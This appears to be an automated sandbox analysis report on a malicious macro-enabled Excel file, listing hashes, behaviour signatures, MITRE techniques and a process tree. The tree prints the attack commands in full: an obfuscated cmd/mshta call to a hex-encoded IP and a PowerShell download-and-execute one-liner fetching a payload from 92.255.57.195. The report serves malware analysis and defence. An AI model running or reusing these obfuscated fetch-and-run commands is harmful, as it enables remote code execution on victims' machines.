1b8a7503b95b685e1c29207ac2a9a9d75b188abfc9c492e670eb365377c1ad90

General

Target

1b8a7503b95b685e1c29207ac2a9a9d75b188abfc9c492e670eb365377c1ad90.xlsm
Size

115KB
MD5

88646a07a6dfa5ad4701c778b50707a4
SHA1

c406856081490e6b55bfebf099d9541bc400ac77
SHA256

1b8a7503b95b685e1c29207ac2a9a9d75b188abfc9c492e670eb365377c1ad90
SHA512

85c65de8396b5c8ae7e7bfd9f088bb001fef5f339c32c139fd86cc7ac5c822b80cabc2f7eff102c94b1ab9bfbab69afe013836f4c5b305a26852075c4393e85c

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/se1.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3592	3216	cmd.exe	50

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	1124	mshta.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3612	1124	WerFault.exe	57

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3216	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3216	EXCEL.EXE
3216	EXCEL.EXE
3216	EXCEL.EXE
3216	EXCEL.EXE
3216	EXCEL.EXE
3216	EXCEL.EXE
3216	EXCEL.EXE
3216	EXCEL.EXE
3216	EXCEL.EXE
3216	EXCEL.EXE
3216	EXCEL.EXE
3216	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3216 wrote to memory of 2156	3216	EXCEL.EXE	52
PID 3216 wrote to memory of 2156	3216	EXCEL.EXE	52
PID 3216 wrote to memory of 3592	3216	EXCEL.EXE	54
PID 3216 wrote to memory of 3592	3216	EXCEL.EXE	54
PID 3592 wrote to memory of 1124	3592	cmd.exe	57
PID 3592 wrote to memory of 1124	3592	cmd.exe	57

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\1b8a7503b95b685e1c29207ac2a9a9d75b188abfc9c492e670eb365377c1ad90.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3216
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2156
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3592
- - C:\Windows\system32\mshta.exe
    mshta http://0x5cff39c3/sec/se1.html
    3⤵
    - Blocklisted process makes network request
    PID:1124
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:3660
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1124 -s 1724
      4⤵
      Program crash
      PID:3612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:3060

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 424 -p 1124 -ip 1124
1⤵
PID:376

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3216-133-0x00007FFF2BA10000-0x00007FFF2BA20000-memory.dmp

Filesize
64KB

Download
memory/3216-134-0x00007FFF2BA10000-0x00007FFF2BA20000-memory.dmp

Filesize
64KB

Download
memory/3216-135-0x00007FFF2BA10000-0x00007FFF2BA20000-memory.dmp

Filesize
64KB

Download
memory/3216-136-0x00007FFF2BA10000-0x00007FFF2BA20000-memory.dmp

Filesize
64KB

Download
memory/3216-137-0x00007FFF2BA10000-0x00007FFF2BA20000-memory.dmp

Filesize
64KB

Download
memory/3216-140-0x00007FFF29630000-0x00007FFF29640000-memory.dmp

Filesize
64KB

Download
memory/3216-141-0x00007FFF29630000-0x00007FFF29640000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads